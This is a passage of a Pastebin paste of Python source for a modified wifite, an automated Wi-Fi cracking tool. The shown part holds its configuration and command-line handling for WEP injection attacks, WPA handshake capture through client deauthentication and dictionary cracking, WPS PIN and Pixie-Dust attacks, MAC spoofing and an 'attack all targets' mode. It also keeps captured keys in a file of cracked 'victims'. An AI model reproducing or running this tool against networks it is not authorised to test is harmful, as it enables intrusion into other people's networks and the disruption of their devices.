Advertisement
Guest User

Untitled

a guest
Jun 30th, 2015
240
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 160.63 KB | None | 0 0
  1. -------------------------DEVELOPED VERSION BY PR0C0N-------------------------------
  2. author: derv82 at gmail
  3. author: bwall @botnet_hunter (ballastsec@gmail.com)
  4. author: drone @dronesec (ballastsec@gmail.com)
  5. Thanks to everyone that contributed to this project.
  6. If you helped in the past and want your name here, shoot me an email
  7. Licensed under the GNU General Public License Version 2 (GNU GPL v2),
  8. available at: http://www.gnu.org/licenses/gpl-2.0.txt
  9. (C) 2011 Derv Merkler / (C) 2015 PR0C0N
  10. Ballast Security additions
  11. -----------------
  12. - No longer requires to be root to run -cracked
  13. - cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s)
  14. - Backwards compatibility
  15. - Made a run configuration class to handle globals
  16. - Added -recrack (shows already cracked APs in the possible targets, otherwise hides them)
  17. - Changed the updater to grab files from GitHub and not Google Code
  18. - Use argparse to parse command-line arguments
  19. - -wepca flag now properly initialized if passed through CLI
  20. - parse_csv uses python csv library
  21. -----------------
  22. TODO:
  23. Restore same command-line switch names from v1
  24. If device already in monitor mode, check for and, if applicable, use macchanger
  25. WPS
  26. * Mention reaver automatically resumes sessions
  27. * Warning about length of time required for WPS attack (*hours*)
  28. * Show time since last successful attempt
  29. * Percentage of tries/attempts ?
  30. * Update code to work with reaver 1.4 ("x" sec/att)
  31. WEP:
  32. * ability to pause/skip/continue (done, not tested)
  33. * Option to capture only IVS packets (uses --output-format ivs,csv)
  34. - not compatible on older aircrack-ng's.
  35. - Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works
  36. - would cut down on size of saved .caps
  37. reaver:
  38. MONITOR ACTIVITY!
  39. - Enter ESSID when executing (?)
  40. - Ensure WPS key attempts have begun.
  41. - If no attempts can be made, stop attack
  42. - During attack, if no attempts are made within X minutes, stop attack & Print
  43. - Reaver's output when unable to associate:
  44. [!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF)
  45. - If failed to associate for x minutes, stop attack (same as no attempts?)
  46. MIGHTDO:
  47. * WPA - crack (pyrit/cowpatty) (not really important)
  48. * Test injection at startup? (skippable via command-line switch)
  49. """
  50.  
  51. # ############
  52. # LIBRARIES #
  53. #############
  54.  
  55. import csv # Exporting and importing cracked aps
  56. import os # File management
  57. import time # Measuring attack intervals
  58. import random # Generating a random MAC address.
  59. import errno # Error numbers
  60.  
  61. from sys import argv # Command-line arguments
  62. from sys import stdout # Flushing
  63.  
  64. from shutil import copy # Copying .cap files
  65.  
  66. # Executing, communicating with, killing processes
  67. from subprocess import Popen, call, PIPE
  68. from signal import SIGINT, SIGTERM
  69.  
  70. import re # RegEx, Converting SSID to filename
  71. import argparse # arg parsing
  72. import urllib # Check for new versions from the repo
  73. import abc # abstract base class libraries for attack templates
  74.  
  75.  
  76. ################################
  77. # GLOBAL VARIABLES IN ALL CAPS #
  78. ################################
  79.  
  80. # Console colors
  81. W = '\033[0m' # white (normal)
  82. R = '\033[31m' # red
  83. G = '\033[32m' # green
  84. O = '\033[33m' # orange
  85. B = '\033[34m' # blue
  86. P = '\033[35m' # purple
  87. C = '\033[36m' # cyan
  88. GR = '\033[37m' # gray
  89.  
  90. # /dev/null, send output from programs so they don't print to screen.
  91. DN = open(os.devnull, 'w')
  92. ERRLOG = open(os.devnull, 'w')
  93. OUTLOG = open(os.devnull, 'w')
  94.  
  95. ###################
  96. # DATA STRUCTURES #
  97. ###################
  98.  
  99.  
  100. class CapFile:
  101. """
  102. Holds data about an access point's .cap file, including AP's ESSID & BSSID.
  103. """
  104.  
  105. def __init__(self, filename, ssid, bssid):
  106. self.filename = filename
  107. self.ssid = ssid
  108. self.bssid = bssid
  109.  
  110.  
  111. class Target:
  112. """
  113. Holds data for a Target (aka Access Point aka Router)
  114. """
  115.  
  116. def __init__(self, bssid, power, data, channel, encryption, ssid):
  117. self.bssid = bssid
  118. self.power = power
  119. self.data = data
  120. self.channel = channel
  121. self.encryption = encryption
  122. self.ssid = ssid
  123. self.wps = False # Default to non-WPS-enabled router.
  124. self.key = ''
  125.  
  126.  
  127. class Client:
  128. """
  129. Holds data for a Client (device connected to Access Point/Router)
  130. """
  131.  
  132. def __init__(self, bssid, station, power):
  133. self.bssid = bssid
  134. self.station = station
  135. self.power = power
  136.  
  137.  
  138. class RunConfiguration:
  139. """
  140. Configuration for this rounds of attacks
  141. """
  142.  
  143. def __init__(self):
  144. self.REVISION = 87;
  145. self.PRINTED_SCANNING = False
  146.  
  147. self.TX_POWER = 0 # Transmit power for wireless interface, 0 uses default power
  148.  
  149. # WPA variables
  150. self.WPA_DISABLE = False # Flag to skip WPA handshake capture
  151. self.WPA_STRIP_HANDSHAKE = True # Use pyrit or tshark (if applicable) to strip handshake
  152. self.WPA_DEAUTH_COUNT = 5 # Count to send deauthentication packets
  153. self.WPA_DEAUTH_TIMEOUT = 10 # Time to wait between deauthentication bursts (in seconds)
  154. self.WPA_ATTACK_TIMEOUT = 500 # Total time to allow for a handshake attack (in seconds)
  155. self.WPA_HANDSHAKE_DIR = 'hs' # Directory in which handshakes .cap files are stored
  156. # Strip file path separator if needed
  157. if self.WPA_HANDSHAKE_DIR != '' and self.WPA_HANDSHAKE_DIR[-1] == os.sep:
  158. self.WPA_HANDSHAKE_DIR = self.WPA_HANDSHAKE_DIR[:-1]
  159.  
  160. self.WPA_FINDINGS = [] # List of strings containing info on successful WPA attacks
  161. self.WPA_DONT_CRACK = False # Flag to skip cracking of handshakes
  162. if os.path.exists('/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
  163. self.WPA_DICTIONARY = '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
  164. elif os.path.exists('/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
  165. self.WPA_DICTIONARY = '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
  166. else:
  167. self.WPA_DICTIONARY = ''
  168.  
  169. # Various programs to use when checking for a four-way handshake.
  170. # True means the program must find a valid handshake in order for wifite to recognize a handshake.
  171. # Not finding handshake short circuits result (ALL 'True' programs must find handshake)
  172. self.WPA_HANDSHAKE_TSHARK = True # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th)
  173. self.WPA_HANDSHAKE_PYRIT = False # Sometimes crashes on incomplete dumps, but accurate.
  174. self.WPA_HANDSHAKE_AIRCRACK = True # Not 100% accurate, but fast.
  175. self.WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2)
  176.  
  177. # WEP variables
  178. self.WEP_DISABLE = False # Flag for ignoring WEP networks
  179. self.WEP_PPS = 600 # packets per second (Tx rate)
  180. self.WEP_TIMEOUT = 600 # Amount of time to give each attack
  181. self.WEP_ARP_REPLAY = True # Various WEP-based attacks via aireplay-ng
  182. self.WEP_CHOPCHOP = True #
  183. self.WEP_FRAGMENT = True #
  184. self.WEP_CAFFELATTE = True #
  185. self.WEP_P0841 = True
  186. self.WEP_HIRTE = True
  187. self.WEP_CRACK_AT_IVS = 10000 # Number of IVS at which we start cracking
  188. self.WEP_IGNORE_FAKEAUTH = True # When True, continues attack despite fake authentication failure
  189. self.WEP_FINDINGS = [] # List of strings containing info on successful WEP attacks.
  190. self.WEP_SAVE = False # Save packets.
  191.  
  192. # WPS variables
  193. self.WPS_DISABLE = False # Flag to skip WPS scan and attacks
  194. self.PIXIE = False
  195. self.WPS_FINDINGS = [] # List of (successful) results of WPS attacks
  196. self.WPS_TIMEOUT = 660 # Time to wait (in seconds) for successful PIN attempt
  197. self.WPS_RATIO_THRESHOLD = 0.01 # Lowest percentage of tries/attempts allowed (where tries > 0)
  198. self.WPS_MAX_RETRIES = 0 # Number of times to re-try the same pin before giving up completely.
  199.  
  200.  
  201. # Program variables
  202. self.SHOW_ALREADY_CRACKED = False # Says whether to show already cracked APs as options to crack
  203. self.WIRELESS_IFACE = '' # User-defined interface
  204. self.MONITOR_IFACE = '' # User-defined interface already in monitor mode
  205. self.TARGET_CHANNEL = 0 # User-defined channel to scan on
  206. self.TARGET_ESSID = '' # User-defined ESSID of specific target to attack
  207. self.TARGET_BSSID = '' # User-defined BSSID of specific target to attack
  208. self.IFACE_TO_TAKE_DOWN = '' # Interface that wifite puts into monitor mode
  209. # It's our job to put it out of monitor mode after the attacks
  210. self.ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing)
  211. self.DO_NOT_CHANGE_MAC = True # Flag for disabling MAC anonymizer
  212. self.SEND_DEAUTHS = True # Flag for deauthing clients while scanning for acces points
  213. self.TARGETS_REMAINING = 0 # Number of access points remaining to attack
  214. self.WPA_CAPS_TO_CRACK = [] # list of .cap files to crack (full of CapFile objects)
  215. self.THIS_MAC = '' # The interfaces current MAC address.
  216. self.SHOW_MAC_IN_SCAN = False # Display MACs of the SSIDs in the list of targets
  217. self.CRACKED_TARGETS = [] # List of targets we have already cracked
  218. self.ATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone*
  219. self.ATTACK_MIN_POWER = 0 # Minimum power (dB) for access point to be considered a target
  220. self.VERBOSE_APS = True # Print access points as they appear
  221. self.CRACKED_TARGETS = self.load_cracked()
  222. old_cracked = self.load_old_cracked()
  223. if len(old_cracked) > 0:
  224. # Merge the results
  225. for OC in old_cracked:
  226. new = True
  227. for NC in self.CRACKED_TARGETS:
  228. if OC.bssid == NC.bssid:
  229. new = False
  230. break
  231. # If Target isn't in the other list
  232. # Add and save to disk
  233. if new:
  234. self.save_cracked(OC)
  235.  
  236. def ConfirmRunningAsRoot(self):
  237. if os.getuid() != 0:
  238. print R + ' [!]' + O + ' ERROR:' + G + ' wifite' + O + ' must be run as ' + R + 'root' + W
  239. print R + ' [!]' + O + ' login as root (' + W + 'su root' + O + ') or try ' + W + 'sudo ./wifite.py' + W
  240. exit(1)
  241.  
  242. def ConfirmCorrectPlatform(self):
  243. if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not?
  244. print O + ' [!]' + R + ' WARNING:' + G + ' wifite' + W + ' must be run on ' + O + 'linux' + W
  245. exit(1)
  246.  
  247. def CreateTempFolder(self):
  248. from tempfile import mkdtemp
  249.  
  250. self.temp = mkdtemp(prefix='wifite')
  251. if not self.temp.endswith(os.sep):
  252. self.temp += os.sep
  253.  
  254. def save_cracked(self, target):
  255. """
  256. Saves cracked access point key and info to a file.
  257. """
  258. self.CRACKED_TARGETS.append(target)
  259. with open('cracked.csv', 'wb') as csvfile:
  260. targetwriter = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
  261. for target in self.CRACKED_TARGETS:
  262. targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps])
  263.  
  264. def load_cracked(self):
  265. """
  266. Loads info about cracked access points into list, returns list.
  267. """
  268. result = []
  269. if not os.path.exists('cracked.csv'): return result
  270. with open('cracked.csv', 'rb') as csvfile:
  271. targetreader = csv.reader(csvfile, delimiter=',', quotechar='"')
  272. for row in targetreader:
  273. t = Target(row[0], 0, 0, 0, row[1], row[2])
  274. t.key = row[3]
  275. t.wps = row[4]
  276. result.append(t)
  277. return result
  278.  
  279. def load_old_cracked(self):
  280. """
  281. Loads info about cracked access points into list, returns list.
  282. """
  283. result = []
  284. if not os.path.exists('cracked.txt'):
  285. return result
  286. fin = open('cracked.txt', 'r')
  287. lines = fin.read().split('\n')
  288. fin.close()
  289.  
  290. for line in lines:
  291. fields = line.split(chr(0))
  292. if len(fields) <= 3:
  293. continue
  294. tar = Target(fields[0], '', '', '', fields[3], fields[1])
  295. tar.key = fields[2]
  296. result.append(tar)
  297. return result
  298.  
  299. def exit_gracefully(self, code=0):
  300. """
  301. We may exit the program at any time.
  302. We want to remove the temp folder and any files contained within it.
  303. Removes the temp files/folder and exists with error code "code".
  304. """
  305. # Remove temp files and folder
  306. if os.path.exists(self.temp):
  307. for f in os.listdir(self.temp):
  308. os.remove(self.temp + f)
  309. os.rmdir(self.temp)
  310. # Disable monitor mode if enabled by us
  311. self.RUN_ENGINE.disable_monitor_mode()
  312. # Change MAC address back if spoofed
  313. mac_change_back()
  314. print GR + " [+]" + W + " quitting" # wifite will now exit"
  315. print ''
  316. # GTFO
  317. exit(code)
  318.  
  319. def handle_args(self):
  320. """
  321. Handles command-line arguments, sets global variables.
  322. """
  323. set_encrypt = False
  324. set_hscheck = False
  325. set_wep = False
  326. capfile = '' # Filename of .cap file to analyze for handshakes
  327.  
  328. opt_parser = self.build_opt_parser()
  329. options = opt_parser.parse_args()
  330.  
  331. try:
  332. if not set_encrypt and (options.wpa or options.wep or options.wps):
  333. self.WPS_DISABLE = True
  334. self.WPA_DISABLE = True
  335. self.WEP_DISABLE = True
  336. set_encrypt = True
  337. if options.recrack:
  338. self.SHOW_ALREADY_CRACKED = True
  339. print GR + ' [+]' + W + ' including already cracked networks in targets.'
  340. if options.wpa:
  341. if options.wps:
  342. print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks.'
  343. else:
  344. print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks (use ' + G + '-wps' + W + ' for WPS scan)'
  345. self.WPA_DISABLE = False
  346. if options.wep:
  347. print GR + ' [+]' + W + ' targeting ' + G + 'WEP' + W + ' encrypted networks'
  348. self.WEP_DISABLE = False
  349. if options.wps:
  350. print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
  351. self.WPS_DISABLE = False
  352. if options.pixie:
  353. print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
  354. print GR + ' [+]' + W + ' using only ' + G + 'WPS Pixie-Dust' + W + ' attack.'
  355. self.WPS_DISABLE = False
  356. self.WEP_DISABLE = True
  357. self.PIXIE = True
  358. if options.channel:
  359. try:
  360. self.TARGET_CHANNEL = int(options.channel)
  361. except ValueError:
  362. print O + ' [!]' + R + ' invalid channel: ' + O + options.channel + W
  363. except IndexError:
  364. print O + ' [!]' + R + ' no channel given!' + W
  365. else:
  366. print GR + ' [+]' + W + ' channel set to %s' % (G + str(self.TARGET_CHANNEL) + W)
  367. if options.mac_anon:
  368. print GR + ' [+]' + W + ' mac address anonymizing ' + G + 'enabled' + W
  369. print O + ' not: only works if device is not already in monitor mode!' + W
  370. self.DO_NOT_CHANGE_MAC = False
  371. if options.interface:
  372. self.WIRELESS_IFACE = options.interface
  373. print GR + ' [+]' + W + ' set interface :%s' % (G + self.WIRELESS_IFACE + W)
  374. if options.monitor_interface:
  375. self.MONITOR_IFACE = options.monitor_interface
  376. print GR + ' [+]' + W + ' set interface already in monitor mode :%s' % (G + self.MONITOR_IFACE + W)
  377. if options.nodeauth:
  378. self.SEND_DEAUTHS = False
  379. print GR + ' [+]' + W + ' will not deauthenticate clients while scanning%s' % W
  380. if options.essid:
  381. try:
  382. self.TARGET_ESSID = options.essid
  383. except ValueError:
  384. print R + ' [!]' + O + ' no ESSID given!' + W
  385. else:
  386. print GR + ' [+]' + W + ' targeting ESSID "%s"' % (G + self.TARGET_ESSID + W)
  387. if options.bssid:
  388. try:
  389. self.TARGET_BSSID = options.bssid
  390. except ValueError:
  391. print R + ' [!]' + O + ' no BSSID given!' + W
  392. else:
  393. print GR + ' [+]' + W + ' targeting BSSID "%s"' % (G + self.TARGET_BSSID + W)
  394. if options.showb:
  395. self.SHOW_MAC_IN_SCAN = True
  396. print GR + ' [+]' + W + ' target MAC address viewing ' + G + 'enabled' + W
  397. if options.all:
  398. self.ATTACK_ALL_TARGETS = True
  399. print GR + ' [+]' + W + ' targeting ' + G + 'all access points' + W
  400. if options.power:
  401. try:
  402. self.ATTACK_MIN_POWER = int(options.power)
  403. except ValueError:
  404. print R + ' [!]' + O + ' invalid power level: %s' % (R + options.power + W)
  405. except IndexError:
  406. print R + ' [!]' + O + ' no power level given!' + W
  407. else:
  408. print GR + ' [+]' + W + ' minimum target power set to %s' % (G + str(self.ATTACK_MIN_POWER) + W)
  409. if options.tx:
  410. try:
  411. self.TX_POWER = int(options.tx)
  412. except ValueError:
  413. print R + ' [!]' + O + ' invalid TX power leve: %s' % ( R + options.tx + W)
  414. except IndexError:
  415. print R + ' [!]' + O + ' no TX power level given!' + W
  416. else:
  417. print GR + ' [+]' + W + ' TX power level set to %s' % (G + str(self.TX_POWER) + W)
  418. if options.quiet:
  419. self.VERBOSE_APS = False
  420. print GR + ' [+]' + W + ' list of APs during scan ' + O + 'disabled' + W
  421. if options.check:
  422. try:
  423. capfile = options.check
  424. except IndexError:
  425. print R + ' [!]' + O + ' unable to analyze capture file' + W
  426. print R + ' [!]' + O + ' no cap file given!\n' + W
  427. self.exit_gracefully(1)
  428. else:
  429. if not os.path.exists(capfile):
  430. print R + ' [!]' + O + ' unable to analyze capture file!' + W
  431. print R + ' [!]' + O + ' file not found: ' + R + capfile + '\n' + W
  432. self.exit_gracefully(1)
  433. if options.update:
  434. self.upgrade()
  435. exit(0)
  436. if options.cracked:
  437. if len(self.CRACKED_TARGETS) == 0:
  438. print R + ' [!]' + O + ' There are no cracked access points saved to ' + R + 'cracked.db\n' + W
  439. self.exit_gracefully(1)
  440. print GR + ' [+]' + W + ' ' + W + 'previously cracked access points' + W + ':'
  441. for victim in self.CRACKED_TARGETS:
  442. if victim.wps != False:
  443. print ' %s (%s) : "%s" - Pin: %s' % (
  444. C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W, G + victim.wps + W)
  445. else:
  446. print ' %s (%s) : "%s"' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W)
  447. print ''
  448. self.exit_gracefully(0)
  449. # WPA
  450. if not set_hscheck and (options.tshark or options.cowpatty or options.aircrack or options.pyrit):
  451. self.WPA_HANDSHAKE_TSHARK = False
  452. self.WPA_HANDSHAKE_PYRIT = False
  453. self.WPA_HANDSHAKE_COWPATTY = False
  454. self.WPA_HANDSHAKE_AIRCRACK = False
  455. set_hscheck = True
  456. if options.strip:
  457. self.WPA_STRIP_HANDSHAKE = True
  458. print GR + ' [+]' + W + ' handshake stripping ' + G + 'enabled' + W
  459. if options.wpadt:
  460. try:
  461. self.WPA_DEAUTH_TIMEOUT = int(options.wpadt)
  462. except ValueError:
  463. print R + ' [!]' + O + ' invalid deauth timeout: %s' % (R + options.wpadt + W)
  464. except IndexError:
  465. print R + ' [!]' + O + ' no deauth timeout given!' + W
  466. else:
  467. print GR + ' [+]' + W + ' WPA deauth timeout set to %s' % (G + str(self.WPA_DEAUTH_TIMEOUT) + W)
  468. if options.wpat:
  469. try:
  470. self.WPA_ATTACK_TIMEOUT = int(options.wpat)
  471. except ValueError:
  472. print R + ' [!]' + O + ' invalid attack timeout: %s' % (R + options.wpat + W)
  473. except IndexError:
  474. print R + ' [!]' + O + ' no attack timeout given!' + W
  475. else:
  476. print GR + ' [+]' + W + ' WPA attack timeout set to %s' % (G + str(self.WPA_ATTACK_TIMEOUT) + W)
  477. if options.crack:
  478. self.WPA_DONT_CRACK = False
  479. print GR + ' [+]' + W + ' WPA cracking ' + G + 'enabled' + W
  480. if options.dic:
  481. try:
  482. self.WPA_DICTIONARY = options.dic
  483. except IndexError:
  484. print R + ' [!]' + O + ' no WPA dictionary given!'
  485. else:
  486. if os.path.exists(options.dic):
  487. print GR + ' [+]' + W + ' WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W)
  488. else:
  489. print R + ' [!]' + O + ' WPA dictionary file not found: %s' % (options.dic)
  490. else:
  491. print R + ' [!]' + O + ' WPA dictionary file not given!'
  492. self.exit_gracefully(1)
  493. if options.tshark:
  494. self.WPA_HANDSHAKE_TSHARK = True
  495. print GR + ' [+]' + W + ' tshark handshake verification ' + G + 'enabled' + W
  496. if options.pyrit:
  497. self.WPA_HANDSHAKE_PYRIT = True
  498. print GR + ' [+]' + W + ' pyrit handshake verification ' + G + 'enabled' + W
  499. if options.aircrack:
  500. self.WPA_HANDSHAKE_AIRCRACK = True
  501. print GR + ' [+]' + W + ' aircrack handshake verification ' + G + 'enabled' + W
  502. if options.cowpatty:
  503. self.WPA_HANDSHAKE_COWPATTY = True
  504. print GR + ' [+]' + W + ' cowpatty handshake verification ' + G + 'enabled' + W
  505.  
  506. # WEP
  507. if not set_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \
  508. or options.p0841 or options.hirte:
  509. self.WEP_CHOPCHOP = False
  510. self.WEP_ARPREPLAY = False
  511. self.WEP_CAFFELATTE = False
  512. self.WEP_FRAGMENT = False
  513. self.WEP_P0841 = False
  514. self.WEP_HIRTE = False
  515. if options.chopchop:
  516. print GR + ' [+]' + W + ' WEP chop-chop attack ' + G + 'enabled' + W
  517. self.WEP_CHOPCHOP = True
  518. if options.fragment:
  519. print GR + ' [+]' + W + ' WEP fragmentation attack ' + G + 'enabled' + W
  520. self.WEP_FRAGMENT = True
  521. if options.caffeelatte:
  522. print GR + ' [+]' + W + ' WEP caffe-latte attack ' + G + 'enabled' + W
  523. self.WEP_CAFFELATTE = True
  524. if options.arpreplay:
  525. print GR + ' [+]' + W + ' WEP arp-replay attack ' + G + 'enabled' + W
  526. self.WEP_ARPREPLAY = True
  527. if options.p0841:
  528. print GR + ' [+]' + W + ' WEP p0841 attack ' + G + 'enabled' + W
  529. self.WEP_P0841 = True
  530. if options.hirte:
  531. print GR + ' [+]' + W + ' WEP hirte attack ' + G + 'enabled' + W
  532. self.WEP_HIRTE = True
  533. if options.fakeauth:
  534. print GR + ' [+]' + W + ' ignoring failed fake-authentication ' + R + 'disabled' + W
  535. self.WEP_IGNORE_FAKEAUTH = False
  536. if options.wepca:
  537. try:
  538. self.WEP_CRACK_AT_IVS = int(options.wepca)
  539. except ValueError:
  540. print R + ' [!]' + O + ' invalid number: %s' % ( R + options.wepca + W )
  541. except IndexError:
  542. print R + ' [!]' + O + ' no IV number specified!' + W
  543. else:
  544. print GR + ' [+]' + W + ' Starting WEP cracking when IV\'s surpass %s' % (
  545. G + str(self.WEP_CRACK_AT_IVS) + W)
  546. if options.wept:
  547. try:
  548. self.WEP_TIMEOUT = int(options.wept)
  549. except ValueError:
  550. print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wept + W)
  551. except IndexError:
  552. print R + ' [!]' + O + ' no timeout given!' + W
  553. else:
  554. print GR + ' [+]' + W + ' WEP attack timeout set to %s' % (
  555. G + str(self.WEP_TIMEOUT) + " seconds" + W)
  556. if options.pps:
  557. try:
  558. self.WEP_PPS = int(options.pps)
  559. except ValueError:
  560. print R + ' [!]' + O + ' invalid value: %s' % (R + options.pps + W)
  561. except IndexError:
  562. print R + ' [!]' + O + ' no value given!' + W
  563. else:
  564. print GR + ' [+]' + W + ' packets-per-second rate set to %s' % (
  565. G + str(options.pps) + " packets/sec" + W)
  566. if options.wepsave:
  567. self.WEP_SAVE = True
  568. print GR + ' [+]' + W + ' WEP .cap file saving ' + G + 'enabled' + W
  569.  
  570. # WPS
  571. if options.wpst:
  572. try:
  573. self.WPS_TIMEOUT = int(options.wpst)
  574. except ValueError:
  575. print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wpst + W)
  576. except IndexError:
  577. print R + ' [!]' + O + ' no timeout given!' + W
  578. else:
  579. print GR + ' [+]' + W + ' WPS attack timeout set to %s' % (
  580. G + str(self.WPS_TIMEOUT) + " seconds" + W)
  581. if options.wpsratio:
  582. try:
  583. self.WPS_RATIO_THRESHOLD = float(options.wpsratio)
  584. except ValueError:
  585. print R + ' [!]' + O + ' invalid percentage: %s' % (R + options.wpsratio + W)
  586. except IndexError:
  587. print R + ' [!]' + O + ' no ratio given!' + W
  588. else:
  589. print GR + ' [+]' + W + ' minimum WPS tries/attempts threshold set to %s' % (
  590. G + str(self.WPS_RATIO_THRESHOLD) + "" + W)
  591. if options.wpsretry:
  592. try:
  593. self.WPS_MAX_RETRIES = int(options.wpsretry)
  594. except ValueError:
  595. print R + ' [!]' + O + ' invalid number: %s' % (R + options.wpsretry + W)
  596. except IndexError:
  597. print R + ' [!]' + O + ' no number given!' + W
  598. else:
  599. print GR + ' [+]' + W + ' WPS maximum retries set to %s' % (
  600. G + str(self.WPS_MAX_RETRIES) + " retries" + W)
  601.  
  602. except IndexError:
  603. print '\nindexerror\n\n'
  604.  
  605. if capfile != '':
  606. self.RUN_ENGINE.analyze_capfile(capfile)
  607. print ''
  608.  
  609. def build_opt_parser(self):
  610. """ Options are doubled for backwards compatability; will be removed soon and
  611. fully moved to GNU-style
  612. """
  613. option_parser = argparse.ArgumentParser()
  614.  
  615. # set commands
  616. command_group = option_parser.add_argument_group('COMMAND')
  617. command_group.add_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check')
  618. command_group.add_argument('-check', action='store', dest='check', help=argparse.SUPPRESS)
  619. command_group.add_argument('--cracked', help='Display previously cracked access points.', action='store_true',
  620. dest='cracked')
  621. command_group.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked')
  622. command_group.add_argument('--recrack', help='Include already cracked networks in targets.',
  623. action='store_true', dest='recrack')
  624. command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='recrack')
  625.  
  626. # set global
  627. global_group = option_parser.add_argument_group('GLOBAL')
  628. global_group.add_argument('--all', help='Attack all targets.', default=False, action='store_true', dest='all')
  629. global_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all')
  630. global_group.add_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface')
  631. global_group.add_argument('--mac', help='Anonymize MAC address.', action='store_true', default=False,
  632. dest='mac_anon')
  633. global_group.add_argument('-mac', help=argparse.SUPPRESS, action='store_true', default=False, dest='mac_anon')
  634. global_group.add_argument('--mon-iface', help='Interface already in monitor mode.', action='store',
  635. dest='monitor_interface')
  636. global_group.add_argument('-c', help='Channel to scan for targets.', action='store', dest='channel')
  637. global_group.add_argument('-e', help='Target a specific access point by ssid (name).', action='store',
  638. dest='essid')
  639. global_group.add_argument('-b', help='Target a specific access point by bssid (mac).', action='store',
  640. dest='bssid')
  641. global_group.add_argument('--showb', help='Display target BSSIDs after scan.', action='store_true',
  642. dest='showb')
  643. global_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb')
  644. global_group.add_argument('--nodeauth', help='Do not deauthenticate clients while scanning', action='store_true', dest='nodeauth')
  645. global_group.add_argument('--power', help='Attacks any targets with signal strength > [pow].', action='store',
  646. dest='power')
  647. global_group.add_argument('-power', help=argparse.SUPPRESS, action='store', dest='power')
  648. global_group.add_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx')
  649. global_group.add_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx')
  650. global_group.add_argument('--quiet', help='Do not print list of APs during scan.', action='store_true',
  651. dest='quiet')
  652. global_group.add_argument('-quiet', help=argparse.SUPPRESS, action='store_true', dest='quiet')
  653. global_group.add_argument('--update', help='Check and update Wifite.', default=False, action='store_true',
  654. dest='update')
  655. global_group.add_argument('-update', help=argparse.SUPPRESS, default=False, action='store_true', dest='update')
  656. # set wpa commands
  657. wpa_group = option_parser.add_argument_group('WPA')
  658. wpa_group.add_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False,
  659. action='store_true', dest='wpa')
  660. wpa_group.add_argument('-wpa', help=argparse.SUPPRESS, default=False, action='store_true', dest='wpa')
  661. wpa_group.add_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store',
  662. dest='wpat')
  663. wpa_group.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat')
  664. wpa_group.add_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store',
  665. dest='wpadt')
  666. wpa_group.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt')
  667. wpa_group.add_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False,
  668. action='store_true', dest='strip')
  669. wpa_group.add_argument('-strip', help=argparse.SUPPRESS, default=False, action='store_true', dest='strip')
  670. wpa_group.add_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store_true',
  671. dest='crack')
  672. wpa_group.add_argument('-crack', help=argparse.SUPPRESS, action='store_true', dest='crack')
  673. wpa_group.add_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store',
  674. dest='dic')
  675. wpa_group.add_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic')
  676. wpa_group.add_argument('--aircrack', help='Verify handshake using aircrack.', default=False,
  677. action='store_true', dest='aircrack')
  678. wpa_group.add_argument('-aircrack', help=argparse.SUPPRESS, default=False, action='store_true', dest='aircrack')
  679. wpa_group.add_argument('--pyrit', help='Verify handshake using pyrit.', default=False, action='store_true',
  680. dest='pyrit')
  681. wpa_group.add_argument('-pyrit', help=argparse.SUPPRESS, default=False, action='store_true', dest='pyrit')
  682. wpa_group.add_argument('--tshark', help='Verify handshake using tshark.', default=False, action='store_true',
  683. dest='tshark')
  684. wpa_group.add_argument('-tshark', help=argparse.SUPPRESS, default=False, action='store_true', dest='tshark')
  685. wpa_group.add_argument('--cowpatty', help='Verify handshake using cowpatty.', default=False,
  686. action='store_true', dest='cowpatty')
  687. wpa_group.add_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store_true', dest='cowpatty')
  688. # set WEP commands
  689. wep_group = option_parser.add_argument_group('WEP')
  690. wep_group.add_argument('--wep', help='Only target WEP networks.', default=False, action='store_true',
  691. dest='wep')
  692. wep_group.add_argument('-wep', help=argparse.SUPPRESS, default=False, action='store_true', dest='wep')
  693. wep_group.add_argument('--pps', help='Set the number of packets per second to inject.', action='store',
  694. dest='pps')
